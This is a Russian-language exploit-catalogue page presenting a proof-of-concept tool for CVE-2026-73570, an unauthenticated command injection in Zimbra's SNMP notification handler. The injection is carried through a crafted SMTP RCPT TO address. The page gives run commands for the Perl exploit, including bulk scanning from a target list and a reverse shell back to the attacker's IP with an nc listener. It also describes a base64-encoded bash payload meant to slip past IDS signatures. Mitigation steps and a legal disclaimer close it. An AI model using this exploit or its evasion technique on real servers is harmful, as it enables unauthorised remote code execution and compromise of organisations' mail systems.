Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-73570 — Zimbra SNMP Notification OS Command Injection — Неаутентифицированное RCE через SMTP-эксплойт (PoC) | Kitploit
Инструменты/GitHubGitHub/gabrielunknown/cve-2026-73570
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification OS Command Injection — Неаутентифицированное RCE через SMTP-эксплойт (PoC)

Репозиторий
41921 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-73570 — эксплойт RCE через SNMP-уведомления Zimbra ZCS (PoC)

Неаутентифицированное удалённое выполнение кода через инъекцию команд ОС в обработчике SNMP-уведомлений Zimbra Collaboration Suite.


Обзор

ПолеЗначение
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Ненадлежащая нейтрализация специальных элементов, используемых в команде ОС
ЗатронутоZimbra ZCS < 10.1.20 (с установленным zimbra-snmp)
Исправлено вZCS 10.1.20 — июль 2026
CISA KEVДобавлено 2026-08-21 (срок устранения для FCEB: 2026-08-24)
Требуется аутентификацияНет
Выполнение от именипользователя ОС zimbra

Первопричина

Необязательный пакет zimbra-snmp содержит правило swatchdog, которое отслеживает /var/log/zimbra.log на предмет строк, соответствующих:

Service status change: <NAME> changed from <STATE> to <STATE>

При обнаружении совпадения swatchdog передаёт захваченное поле <NAME> напрямую в shell-скрипт SNMP-уведомлений без какой-либо санитизации.

Неаутентифицированный злоумышленник может внедрить специально сформированную запись журнала, отправив особым образом составленную SMTP-команду RCPT TO. Используя quoted local-part из RFC 5321, метасимволы оболочки — например, $(...) — внедряются внутрь <NAME> и выполняются, когда swatchdog обрабатывает соответствующую строку журнала.


Предварительные условия

Чтобы уязвимость была эксплуатируема, на целевой системе должны выполняться все три условия:

  • установлен пакет zimbra-snmp
  • включены SNMP-уведомления (snmp_notify = true)
  • запущена служба swatchdog

Сценарий атаки

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Подключитесь к порту 25 / 465 / 587.
  2. Отправьте стандартный SMTP-диалог с вредоносным RCPT TO.
  3. Zimbra записывает данные адреса независимо от принятия или отклонения.
  4. swatchdog сопоставляет шаблон в журнале и извлекает внедрённую $(CMD).
  5. Обработчик SNMP выполняет CMD от имени пользователя ОС zimbra.

Эксплуатация

Требования

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

или через apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

или через yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Одна цель

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Список целей

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — по одному хосту на строку, необязательный :port, строки, начинающиеся с #, игнорируются:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

Все параметры

ФлагДлинныйПо умолчаниюОписание
-H--host—Один целевой хост или IP-адрес
-f--file—Файл со списком целей
-p--port587Порт SMTP по умолчанию
-r--rhost—Ваш IP для обратного подключения (reverse shell)
-R--rport4444Порт прослушивания
-t--timeout15Тайм-аут сокета в секундах
-S--sslвыкл.Прямой TLS (автоматически включается на порту 465)
-v--verboseвыкл.Выводить полный диалог SMTP
-L--logfile—Записывать журнал сессии в файл
-h--help—Показать справку

Полный пример

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Техника полезной нагрузки

Команда обратной оболочки кодируется в base64 перед внедрением:

echo <b64>|base64 -d|bash

Это не позволяет IDS/IPS сопоставлять сигнатуры открытого текста, такие как /dev/tcp, bash -i или nc -e. Закодированный blob внедряется как $(...) внутри заключённой в кавычки локальной части RCPT TO, что вызывает выполнение на стороне сервера, когда swatchdog обрабатывает запись журнала.


Меры противодействия

ДействиеПодробности
ПатчОбновитесь до Zimbra ZCS ≥ 10.1.20
Отключить SNMP notifyzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Удалить пакетapt remove zimbra-snmp / yum remove zimbra-snmp
Сетевые мерыОграничьте входящий SMTP (25/465/587) доверенными релеями, где это практически осуществимо

Ссылки

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Отказ от ответственности

Данный proof-of-concept выпущен исключительно для авторизованного тестирования безопасности, академических исследований и защитных целей.
Запуск его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.


Скачать инструмент